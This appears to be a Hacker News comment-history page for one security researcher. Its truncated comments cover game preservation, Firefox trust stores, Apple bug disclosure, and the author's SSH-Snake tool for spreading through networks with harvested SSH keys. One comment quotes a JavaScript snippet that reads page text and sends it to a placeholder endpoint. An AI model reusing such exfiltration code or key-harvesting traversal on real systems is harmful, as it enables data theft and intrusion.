mmsc

26 ms·

361.
by mmsc 3y ago
I did my bachelors degree on this topic but have been interested in this problem since years before university. Specifically, the direction that we’re headed in terms of video game preservation [0]. I can still play most of the games that I
362.
by mmsc 3y ago
Here in Poland, it’s extremely common to see hedgehogs during the day. Unfortunately also a common sight to see them dead on major country roads.
363.
Geon/Shebang-Abuse(github.com)
16 points by mmsc 3y ago|1 comments
364.
by mmsc 3y ago
It has recursion protection by collecting an internal list of systems already scanned. https://joshua.hu/ssh-snake-ssh-network-traversal-discover-s... control-f 'hostname -I'
365.
by mmsc 3y ago
>Piping it directly from curl to bash makes that near impossible if you run it multiple times. I’m not sure whether pressing the „fork” button and inspecting it in your local repository is “near impossible”.
366.
by mmsc 3y ago
You can download it to somewhere else then curl where you’ve downloaded it (with the settings changed which are set at the beginning of the file). The tool is marketed as fileless. How are you going to run it on a system which has no writab
367.
by mmsc 3y ago
>Also, HN used to think this was cool now there are 20 posts blaming the hacker… I'm not sure whether it's HN thinking this is uncool (it is cool!) or it's HN taking the unfortunate realistic position that this type of stu
368.
by mmsc 3y ago
Nintendo, Sony, and Microsoft also regularly remove features from their consoles retroactively. You buy a subscription for access to them - and telecom networks - not the right to use them forever
369.
by mmsc 3y ago
Everybody has that goal until they get a knock on their door at 6am: https://github.com/disclose/research-threats
370.
by mmsc 3y ago
Stepping aside for a moment and thinking about the scope of this, I think it’s a good example of why technological diversity is something to long for. If Chattr can be pwned like this so easily, they likely have many much more serious issue
371.
by mmsc 3y ago
That’s not how I’m reading the release information. I don’t have a computer to check this at the moment either:( Edit: oh you’re right! They changed the message in the release information! It was originally “ Firefox now imports TLS trust
372.
by mmsc 3y ago
Mozilla's root store seems to no longer be relevant. They started to include OS' root stores into Mozilla on all OS' except Linux: https://joshua.hu/mozilla-firefox-trusting-system-root-store...
373.
Show HN: LDAP Watchdog: Realtime LDAP monitoring for detecting directory changes(github.com)
8 points by mmsc 3y ago|1 comments
374.
by mmsc 3y ago
Assuming you mean `known_hosts`, no. It uses various data sources to determine where to try to connect with discovered keys: https://github.com/MegaManSec/SSH-Snake/blob/main/SETTINGS.m... lists all of t
375.
by mmsc 3y ago
Not really. You can comment out this line: https://github.com/MegaManSec/SSH-Snake/blob/7ae7ef0afe0e067... to disable the printing of the private keys to the terminal if you want, too.
376.
by mmsc 3y ago
or for example, if the config file sets `PubkeyAcceptedAlgorithms=+ssh-rsa` which is necessary It already does this: https://github.com/MegaManSec/SSH-Snake/blob/7ae7ef0afe0e067... and https:/&#
377.
by mmsc 3y ago
Author of the software here. It was a joke.
378.
by mmsc 3y ago
[dupe] of https://news.ycombinator.com/item?id=38877185 (I'm the author)
379.
Show HN: SSH-Snake: Automated SSH-Based Network Traversal(github.com)
10 points by mmsc 3y ago|0 comments
380.
by mmsc 3y ago
Doing a bit more digging, it's using cytoscape[0] which is similar to graphviz. If you search your favorite search engine with "Cytoscape Session Viewer", you'll find many websites displaying the same type of graphs (sel
381.
by mmsc 3y ago
Very very cool. Is there a word for a directional graph in this circular form? Also, is every edge unidirectional, or are there some bidirectional edges? I would hope (and assume) there's nothing bidirectional, but...
382.
Intentionally buggy commits for fame and papers (2021)(lwn.net)
42 points by mmsc 3y ago|19 comments
383.
by mmsc 3y ago
Wasn't this done by Ac1dB1tch3z? See http://phrack.org/issues/64/15.html for the CVS exploit from the same time.
384.
by mmsc 3y ago
This wasn't really my "finding" per-se (the original vulnerability was from June, after all), it was just something that came into my eyes and I thought it would be interesting to discuss the implications and some perceptions
385.
by mmsc 3y ago
I only tested passwd at the time and I don’t currently have access to the 6s to test the other files. I can report back whenever I get access to that phone again.
386.
by mmsc 3y ago
https://ibb.co/fn84p09 This photo was taken the day the blog post was published.
387.
by mmsc 3y ago
Typed from my phone. I don't reply to hn comments based on your schedule.
388.
by mmsc 3y ago
Yes, obviously the website can retrieve this data too. <script> var olis=document.getElemeByTagName(‘p’); Data=olis[1].text content; xmlHttp2 = new XMLHttpRequest; xmlHttp2.open(‘GET’, ‘https://endpoint/?d
389.
by mmsc 3y ago
Always a smile when I see my blog posted on hn:) To answer three questions: 1) this was not reported in the context of any bug bounty[0], and the total conversation between me and Apple is 4 emails (1: hello do you plan to fix this? 2: can
390.
by mmsc 3y ago
OP here. It was reported to product-security@apple.com.

More ›